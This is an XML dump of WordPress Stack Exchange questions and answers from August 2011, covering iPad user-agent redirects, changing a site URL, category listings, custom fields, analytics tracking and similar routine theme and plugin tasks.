  <row Id="24939" PostTypeId="1" CreationDate="2011-08-04T13:40:50.930" Score="0" ViewCount="37" Body="&lt;p&gt;Since the Ipad doesn't work nicely with issuu I'm trying to set up a system where if users would acces one of my blog post from an ipad device they get redirected to the a pdf file which is on my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this I'm guessing I would have to include some kind of HTML code at the beginning of each post. However I'm not familiar with HTML. Is it possible to redirect visitors from my wordpress blog based on their browser (safari) or device (iPad)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It tried this but it didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[if safari]&amp;gt; &amp;lt;a href=&quot;http://blog.united-academics.org/wp-content/uploads/2011/04/Food-hunger.pdf&quot; target=&quot;_blank&quot;&amp;gt;HTML Help&amp;lt;/a&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope you guys can help! &lt;/p&gt;&#xA;" OwnerUserId="7638" LastActivityDate="2011-08-04T15:32:12.703" Title="Have Wordpress post redirect to url when accesed from iPad (Safari)" Tags="&lt;redirect&gt;&lt;wordpress.com&gt;&lt;html&gt;" AnswerCount="3" />
  <row Id="24940" PostTypeId="1" CreationDate="2011-08-04T13:41:06.933" Score="0" ViewCount="33" Body="&lt;p&gt;Is there a way for a plugin to house page template files and have them available after plugin activation?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g, I have a plugin that requires specific page page templates to be used, so I'd like them to be available in the Page Attributes meta box in the Editor.  But in an attempt to keep my plugin compartmentalized and theme-independent, I'd like to keep the needed page template files out of the theme directory and in a sub-folder of the plugin.  I know WordPress parses the theme directory looking for page templates, but is there a way to register templates outside the theme directory?&lt;/p&gt;&#xA;" OwnerUserId="6304" LastActivityDate="2011-08-04T22:57:47.833" Title="Is it possible for a plugin to register a page template file?" Tags="&lt;plugin-development&gt;&lt;page&gt;&lt;page-template&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24941" PostTypeId="1" CreationDate="2011-08-04T13:46:42.503" Score="0" ViewCount="22" Body="&lt;p&gt;I don't want to have to make use of a destination url, so ideally I would like to be able to add the onclick=&quot;_gaq.push(['_trackPageview', '/G1/whatever']);&quot; event to the submit button on the form.&lt;/p&gt;&#xA;" OwnerUserId="4447" LastActivityDate="2011-08-04T14:52:42.643" Title="Is there a WordPress form plugin that can easily be configured for Google Analytics goals?" Tags="&lt;forms&gt;&lt;google-analytics&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="24942" PostTypeId="2" ParentId="24938" CreationDate="2011-08-04T13:53:52.520" Score="3" ViewCount="" Body="&lt;p&gt;Yes cou can change it by accessing the database of your wordpress. It's located in the &lt;code&gt;wp_options&lt;/code&gt; table of your wp' database. You'll have to change two values; the &lt;strong&gt;&lt;code&gt;siteurl&lt;/code&gt;&lt;/strong&gt; (line 1) and the &lt;strong&gt;&lt;code&gt;home&lt;/code&gt;&lt;/strong&gt; (line 37). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access it through the admin panel of your host and/or sometimes directly by typing in your browser the &lt;code&gt;DB_HOST&lt;/code&gt; value you entered for the installation of the blog, now written in your &lt;code&gt;wp_config.php&lt;/code&gt; file at the root of your site. Then just use the login and password also written in this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: i recommend the use of this &lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace/&quot; rel=&quot;nofollow&quot;&gt;kind of plugin&lt;/a&gt; to clean completely the database to change all your &lt;a href=&quot;http://yourolddomain.com/whatever/&quot; rel=&quot;nofollow&quot;&gt;http://yourolddomain.com/whatever/&lt;/a&gt; to &lt;a href=&quot;http://yournewdomain.com/whatever/&quot; rel=&quot;nofollow&quot;&gt;http://yournewdomain.com/whatever/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastEditorUserId="1997" LastEditorDisplayName="" LastEditDate="2011-08-04T14:09:43.807" LastActivityDate="2011-08-04T14:09:43.807" />
  <row Id="24943" PostTypeId="2" ParentId="24929" CreationDate="2011-08-04T14:03:34.967" Score="0" ViewCount="" Body="&lt;p&gt;From &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Tag_Parameters&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; in the codex, i see that this parameter requires an array so i'd try this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vidArgs = array(&#xA;                            'tag__in' =&amp;gt; array(5),&#xA;                            'post_type' =&amp;gt; 'attachment',&#xA;                            'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;                            'post_mime_type'=&amp;gt;'video/quicktime',&#xA;                            'posts_per_page'=&amp;gt;20&#xA;                        );&#xA;&#xA;$videos = get_posts($vidArgs);&#xA;&#xA;foreach ($videos as $vid) { ///....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-08-04T14:03:34.967" CommentCount="7" />
  <row Id="24944" PostTypeId="1" AcceptedAnswerId="24954" CreationDate="2011-08-04T04:39:49.190" Score="0" ViewCount="34" Body="&lt;p&gt;I want to move my blog to wordpress.com but I do run my own nameservers and I need to do it. Is it possible to use wordpress.com pointing the IPs of the hostname to it but not switching the nameservers?&lt;/p&gt;&#xA;" OwnerUserId="7928" LastActivityDate="2011-08-04T19:25:10.697" Title="Is it possible to use wordpress.com with a custom domain without switching nameservers?" Tags="&lt;wordpress.com&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="24945" PostTypeId="1" AcceptedAnswerId="24946" CreationDate="2011-08-04T14:20:18.620" Score="0" ViewCount="20" Body="&lt;p&gt;I'd like to make that all my posts in the category A belong also to category B (so after that they would belong both to A and B), is there any plugin or MySQL query that could allow me to do that easily?&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-08-04T14:30:35.817" Title="How to make that all posts with a category belong also to another" Tags="&lt;categories&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="24946" PostTypeId="2" ParentId="24945" CreationDate="2011-08-04T14:30:35.817" Score="0" ViewCount="" Body="&lt;p&gt;You can bulk edit posts in the admin.  I have never tried more than 500 or so but you can display 999 per page. To have more than the default 20 click screen options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click posts--&gt;filter by Category A&lt;br&gt;&#xA;Click  Edit---&gt; select all posts ( clicking top square next to &quot;title&quot;)--&gt;Apply&lt;br&gt;&#xA;Click Category B and Update.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-04T14:30:35.817" CommentCount="1" />
  <row Id="24947" PostTypeId="1" AcceptedAnswerId="25041" CreationDate="2011-08-04T14:36:29.180" Score="-1" ViewCount="30" Body="&lt;p&gt;I need to show my users cumulative posts and members registered count by date.&#xA;It has to be displayed in an array format like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;for posts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(array(2011,08,02), 500)&#xA;array(array(2011,08,03), 520)&#xA;array(array(2011,08,04), 540)&#xA;array(array(2011,08,05), 560)&#xA;array(array(2011,08,06), 580)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the same case for members&lt;/p&gt;&#xA;&#xA;&lt;p&gt;iam using wordpress.com stats to for statistics, i cant figure out how to do this, could anyone help me... &lt;/p&gt;&#xA;" OwnerUserId="7376" LastActivityDate="2011-08-05T08:40:35.867" Title="How to create a cumulative posts and members count" Tags="&lt;posts&gt;&lt;wordpress.org&gt;&lt;array&gt;&lt;stats&gt;&lt;registered&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="24948" PostTypeId="2" ParentId="17521" CreationDate="2011-08-04T14:37:51.960" Score="0" ViewCount="" Body="&lt;p&gt;Unfortunately, this is a limitation of the underlying JavaScript library when using the &lt;code&gt;&amp;lt;pre/&amp;gt;&lt;/code&gt; tags. The only solution is to replace any &lt;code&gt;&amp;lt;&lt;/code&gt; tags you have with &lt;code&gt;&amp;amp;lt;&lt;/code&gt;. It's not the most elegant of solutions, but it's a pretty easy find and replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've actually updated the info at &lt;a href=&quot;http://megatome.com/syntaxhighlighter&quot; rel=&quot;nofollow&quot;&gt;http://megatome.com/syntaxhighlighter&lt;/a&gt; to include this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see some more information about this issue here: &lt;a href=&quot;http://alexgorbatchev.com/SyntaxHighlighter/manual/installation.html&quot; rel=&quot;nofollow&quot;&gt;http://alexgorbatchev.com/SyntaxHighlighter/manual/installation.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7639" LastActivityDate="2011-08-04T14:37:51.960" />
  <row Id="24949" PostTypeId="2" ParentId="24939" CreationDate="2011-08-04T14:39:42.627" Score="1" ViewCount="" Body="&lt;p&gt;A quick Google shows up with &lt;a href=&quot;http://scottrockers.com/blog/resources/simple-code-tricks/how-to-detect-ipad-and-redirect-to-ipad-version-website&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's 2 ways you can do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Detect the user agent with JavaScript and redirect&lt;/li&gt;&#xA;&lt;li&gt;Detect the user agent server-side and redirect&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With JavaScript you'd modify the code on the page linked above, with PHP you'd compare &lt;code&gt;$_SERVER['HTTP_USER_AGENT']&lt;/code&gt; to whatever the user agent of iPads contain.&lt;/p&gt;&#xA;" OwnerUserId="2074" LastActivityDate="2011-08-04T14:39:42.627" />
  <row Id="24950" PostTypeId="1" AcceptedAnswerId="24957" CreationDate="2011-08-04T14:42:17.430" Score="0" ViewCount="30" Body="&lt;p&gt;I'm using the following code to show the subcategories of a category within my archive.php page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_category()) {&#xA;  $this_category = get_category($cat);&#xA;  if (get_category_children($this_category-&amp;gt;cat_ID) != &quot;&quot;) {&#xA;    echo &quot;&amp;lt;div id='catlist'&amp;gt;&amp;lt;ul&amp;gt;&quot;;&#xA;    wp_list_categories('orderby=name&amp;amp;hide_empty=0&amp;amp;title_li=&amp;amp;use_desc_for_title=1&amp;amp;child_of='.$this_category-&amp;gt;cat_ID);&#xA;    echo &quot;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;  }&#xA;}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above returns the name of the category as a link, with the category description as the link title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone show my how to show the category description within paragraph tags after the category link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4288" LastActivityDate="2011-08-04T15:09:18.857" Title="Show Subcategory Description" Tags="&lt;categories&gt;&lt;description&gt;" AnswerCount="1" />
  <row Id="24951" PostTypeId="2" ParentId="24938" CreationDate="2011-08-04T14:42:53.217" Score="0" ViewCount="" Body="&lt;p&gt;One of the quick things you can do is to edit wp_config.php. You'll want to do two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;change the database connection information if you need to (as @kevin mentions)&lt;/li&gt;&#xA;&lt;li&gt;add define('RELOCATE', true); to the very last bit of the file just above the line that says &quot;stop editing&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, save wp_config.php and then go directly to the wp-login.php on your new url:&#xA;&lt;a href=&quot;http://new_server.something/myprovider.co.uk/.../.../wp-login.php&quot; rel=&quot;nofollow&quot;&gt;http://new_server.something/myprovider.co.uk/.../.../wp-login.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Login, and then immediately go to Settings &gt; General and make sure you synchronize the URL in home and site url fields (RELOCATE only does the one, not the other). Save. Test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, go back into wp_config.php and remove the RELOCATE definition you added in step 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this works for you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note: you'll run into additional difficulties if your database tables prefix has changed, but that doesn't appear to be the case according to what you described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-08-04T14:42:53.217" />
  <row Id="24952" PostTypeId="2" ParentId="24939" CreationDate="2011-08-04T14:46:46.303" Score="1" ViewCount="" Body="&lt;p&gt;The ipad has a user-agent string;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)&#xA;AppleWebKit/531.21.10 (KHTML, like Gecko) &#xA;Version/4.0.4 Mobile/7B334b Safari/531.21.10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can detect and re-direct the user-agent in your header or at the server level.(these examples are for iPad only not iPhone or safari).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$isiPad = strpos( $_SERVER[ 'HTTP_USER_AGENT' ],'iPad' ) !== false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_USER_AGENT} ^.*iPad.*$&#xA;RewriteRule ^(.*)$ http://whateverurlyouwant.example.com [R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var isiPad = navigator.userAgent.match(/iPad/i) != null;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Media Query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;media=&quot;only screen and (max-device-width: 1024px)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-04T14:46:46.303" />
  <row Id="24954" PostTypeId="2" ParentId="24944" CreationDate="2011-08-04T14:52:00.163" Score="2" ViewCount="" Body="&lt;p&gt;Here is what WordPress.com have to say on using your domain with them: &lt;a href=&quot;http://en.support.wordpress.com/domain-mapping/map-existing-domain/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/domain-mapping/map-existing-domain/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there they are clearly saying to use their nameservers. This will because they have a number of IP address and any one of them could be the one hosting your website. Therefore they cannot reliably give you the IP address to where you would point your web traffic. Also on top of that IP address can change without any notice and then all of a sudden your website would go offline. I'd really recommend that you stick with using their nameservers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume that you are using your own nameservers because you want to control other DNS and MX entries? Well if thats the case did you know WordPress.com comes with a control panel so you can setup additional DNS and MX entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still cannot use their nameservers then what you can do is set up a free account first and ping your free account domain &quot;example.wordpress.com&quot; and get the IP of where it is hosted. Once you have that upgrade your website to domain hosted and point web traffic to the IP you obtained. I cannot vouch if this will work but its a start.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-04T14:52:00.163" />
  <row Id="24955" PostTypeId="2" ParentId="24941" CreationDate="2011-08-04T14:52:42.643" Score="1" ViewCount="" Body="&lt;p&gt;You should be able to use &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; and then attaching a jQuery click event to the submit button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.wpcf7-submit&quot;).click(function() {&#xA;    _gaq.push(['_trackPageview', '/G1/whatever']);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-04T14:52:42.643" />
  <row Id="24956" PostTypeId="1" AcceptedAnswerId="24966" CreationDate="2011-08-04T15:05:21.373" Score="0" ViewCount="21" Body="&lt;p&gt;I need to be able to get the tax percentage for the cart in wp-ecommerce.&#xA;I have tried using: $wpsc_cart-&gt;tax_percentage but it does not return a value.&#xA;Has something changed in the newer versions of wp-ecommerce?&lt;/p&gt;&#xA;" OwnerUserId="6224" LastActivityDate="2011-08-04T16:27:52.207" Title="how to get tax percentage in wp-ecommerce" Tags="&lt;plugin-wp-e-commerce&gt;" AnswerCount="1" />
  <row Id="24957" PostTypeId="2" ParentId="24950" CreationDate="2011-08-04T15:09:18.857" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_list_categories&lt;/code&gt; formats the results, instead you want to try &lt;code&gt;get_categories&lt;/code&gt; and create your own loop to format the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know exactly how you want it formated, but this gives you the general idea.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if (is_category()) {&#xA;    $this_category = get_category($cat);&#xA;    if (get_category_children($this_category-&amp;gt;cat_ID) != &quot;&quot;) {&#xA;        echo '&amp;lt;div id=&quot;catlist&quot;&amp;gt;&amp;lt;ul&amp;gt;';&#xA;        $childcategories = get_categories(array(&#xA;            'orderyby' =&amp;gt; 'name',&#xA;            'hide_empty' =&amp;gt; false,&#xA;            'child_of' =&amp;gt; $this_category-&amp;gt;cat_ID&#xA;            ));&#xA;        foreach($childcategories as $category) {&#xA;            echo '&amp;lt;a href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category-&amp;gt;name.'&amp;lt;/a&amp;gt;';&#xA;            echo '&amp;lt;p&amp;gt;'.$category-&amp;gt;description.'&amp;lt;/p&amp;gt;';&#xA;        }&#xA;        echo '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more examples and information visit, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;get_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-08-04T15:09:18.857" CommentCount="1" />
  <row Id="24958" PostTypeId="2" ParentId="24879" CreationDate="2011-08-04T15:15:05.403" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-galleries/&quot; rel=&quot;nofollow&quot;&gt;Multiple Galleries&lt;/a&gt; is the plugin that does what you are after.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-04T15:15:05.403" />
  <row Id="24959" PostTypeId="1" AcceptedAnswerId="24981" CreationDate="2011-08-04T15:20:49.487" Score="2" ViewCount="39" Body="&lt;p&gt;I just want to add author gravatar near the name of the author. I know that I have to add something in the single.php file, but what to add? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2011-08-04T18:46:49.140" Title="I want to display author gravatar on posts. How to do this?" Tags="&lt;gravatar&gt;" AnswerCount="2" />
  <row Id="24960" PostTypeId="2" ParentId="24959" CreationDate="2011-08-04T15:28:11.070" Score="3" ViewCount="" Body="&lt;p&gt;Plenty of info on &lt;a href=&quot;http://codex.wordpress.org/Using_Gravatars&quot; rel=&quot;nofollow&quot;&gt;WP Codex on Gravatar's&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use: &lt;code&gt;get_avatar( &quot;id of author&quot; );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-04T15:28:11.070" />
  <row Id="24961" PostTypeId="2" ParentId="24939" CreationDate="2011-08-04T15:32:12.703" Score="0" ViewCount="" Body="&lt;p&gt;You can use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/mobble/faq/&quot; rel=&quot;nofollow&quot;&gt;mobble&lt;/a&gt; and this plugin will give you access to the function &lt;code&gt;is_ipad()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_ipad()) {&#xA;    // do redirect&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-04T15:32:12.703" />
  <row Id="24962" PostTypeId="1" CreationDate="2011-08-04T15:48:31.553" Score="0" ViewCount="32" Body="&lt;p&gt;I'm a Drupalista who occasionally works in WordPress so this might be obvious :) I was helping a colleague debug some AJAX behaviour, and having got the URL of the callback from Firebug, I wasn't sure how to translate that into a file and function server-side. Can someone enlighten?! TIA &lt;/p&gt;&#xA;" OwnerUserId="1923" LastActivityDate="2011-08-04T19:18:02.153" Title="How can I identify which file/function will be used to respond to a particular URL?" Tags="&lt;urls&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="24963" PostTypeId="1" AcceptedAnswerId="24965" CreationDate="2011-08-04T16:03:57.580" Score="0" ViewCount="25" Body="&lt;p&gt;Using the following code in order to display custom field value, how can I automatically make it into a hyperlink?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $custom_fields = get_post_custom($post_id); //Current post id&#xA;  $my_custom_field = $custom_fields['website']; //key name&#xA;  foreach ( $my_custom_field as $key =&amp;gt; $value )&#xA;  echo $key . &quot; =&amp;gt; &quot; . $value . &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Presently if website value is set to &lt;a href=&quot;http://www.abc.com&quot; rel=&quot;nofollow&quot;&gt;http://www.abc.com&lt;/a&gt; then it would display &lt;a href=&quot;http://www.abc.com&quot; rel=&quot;nofollow&quot;&gt;http://www.abc.com&lt;/a&gt; instead i'd like for it to display as Click Here where it hyperlinks instead.&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-08-04T16:13:02.160" Title="Display custom field value as a hyperlink" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="24965" PostTypeId="2" ParentId="24963" CreationDate="2011-08-04T16:13:02.160" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $custom_fields = get_post_custom($post_id); //Current post id&#xA;  $my_custom_field = $custom_fields['website']; //key name&#xA;  foreach ( $my_custom_field as $key =&amp;gt; $value )&#xA;  echo $key . &quot; =&amp;gt; &amp;lt;a href='&quot; . $value . &quot;'&amp;gt;Click Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-04T16:13:02.160" CommentCount="2" />
  <row Id="24966" PostTypeId="2" ParentId="24956" CreationDate="2011-08-04T16:27:52.207" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$wpsc_cart-&amp;gt;tax_percentage&lt;/code&gt; contains the tax percentage for me using the latest version 3.8.6. make sure you have enabled tax and added a tax rate under settings &gt; store &gt; taxes.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-04T16:27:52.207" CommentCount="1" />
  <row Id="24967" PostTypeId="2" ParentId="24846" CreationDate="2011-08-04T16:43:45.843" Score="0" ViewCount="" Body="&lt;p&gt;Figured it out, though this is the lamest solution ever: I hooked into wp_footer instead of template_redirect. If anyone has a better solution or place to hook in I'd love to hear about it - thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;That wasn't the fix I thought it was. Turned out I was writing the function poorly, and did need to be using template_redirect. See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/26163/cannot-get-redirect-working&quot;&gt;Cannot get redirect working&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditorDisplayName="" LastEditDate="2011-08-17T18:25:03.223" LastActivityDate="2011-08-17T18:25:03.223" />
  <row Id="24968" PostTypeId="2" ParentId="24801" CreationDate="2011-08-04T16:59:18.357" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried a textarea in a meta box? Meta boxes are more user friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About your requirement, it sounds like just a textarea will do. Please be aware that even full tinyMce based editors are possible using existing WordPress libraries.&lt;/p&gt;&#xA;" OwnerUserId="5707" LastActivityDate="2011-08-04T16:59:18.357" />
  <row Id="24969" PostTypeId="2" ParentId="24640" CreationDate="2011-08-04T17:01:35.220" Score="0" ViewCount="" Body="&lt;p&gt;I could’t make it to work. May be it is not possible. I tried a plugin to set it and I was able to achieve /%issue_name%/%post_type%/%post_id%/ but not /%issue_name%/%post_type%/%post_name%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin removes that latter one by itself. Moreover I would strongly advise against such a permalink structure as it gets very taxing on WordPress performance with growing number of posts. &lt;/p&gt;&#xA;" OwnerUserId="5707" LastActivityDate="2011-08-04T17:01:35.220" />
  <row Id="24970" PostTypeId="1" AcceptedAnswerId="24983" CreationDate="2011-08-04T17:04:53.097" Score="1" ViewCount="21" Body="&lt;p&gt;I'm using the following code to display a custom value. The custom value being 'website'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $custom_fields = get_post_custom($post_id); //Current post id&#xA;  $my_custom_field = $custom_fields['website']; //key name&#xA;  foreach ( $my_custom_field as $key =&amp;gt; $value )&#xA;  echo $key . &quot; =&amp;gt; &amp;lt;a href='&quot; . $value . &quot;'&amp;gt;Click Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, before the 'Click here' i'd like to include another custom value, thumb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the output would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Value of custom field thumb&#xA;Value of custom field website&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-08-04T19:02:17.347" Title="Display two custom values from a post" Tags="&lt;custom-field&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24971" PostTypeId="1" CreationDate="2011-08-04T17:09:48.270" Score="0" ViewCount="13" Body="&lt;p&gt;I've found many plugins that autotag posts based on different APIs. However, I'm looking for a plugin that tags my posts based on a keywords I want to enter. If that keyword matches a keyword in the post then tag that post to the keyword.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like brands. I entered Nike and Samsung somewhere and when one of those brand names appears in a post then the post would be automatically to the tag 'Nike' of 'Samsung'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found many, many, plugins but not a plugin which fulfills my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you guys can help me.&lt;/p&gt;&#xA;" OwnerUserId="7641" LastActivityDate="2011-08-04T17:09:48.270" Title="Autotagging posts based on keywords and rules" Tags="&lt;plugins&gt;&lt;tags&gt;&lt;automate&gt;" CommentCount="1" />
  <row Id="24972" PostTypeId="2" ParentId="24544" CreationDate="2011-08-04T17:14:07.783" Score="2" ViewCount="" Body="&lt;p&gt;I have personally worked with Percona Server and MySQL, not with MariaDB as of yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.percona.com/mysql-support/&quot; rel=&quot;nofollow&quot;&gt;Percona provides support for MariaDB, Drizzle, Amazon RDS, and other MySQL products&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learned at &lt;a href=&quot;http://www.percona.com/live/nyc-2011/&quot; rel=&quot;nofollow&quot;&gt;Percona Live NYC&lt;/a&gt; that Percona gets the latest version of MySQL and injects 30,000 lines of C/C++ that is unique to its Performance Enhancements. MySQL (eh, Oracle) tries to keep up with its own enhancements of InnoDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless your website is very heavily trafficked, there is no decent performance difference you can feel or see. However, if you do have high traffic and you want to &lt;a href=&quot;http://dba.stackexchange.com/questions/3375/how-do-i-properly-perform-a-mysql-bake-off/3376#3376&quot;&gt;compare MySQL, Percona, and MariaDB, I have posted an article in the DBA StackExchange on how to go about doing this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4699" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-08-04T19:47:33.453" LastActivityDate="2011-08-04T19:47:33.453" CommentCount="3" />
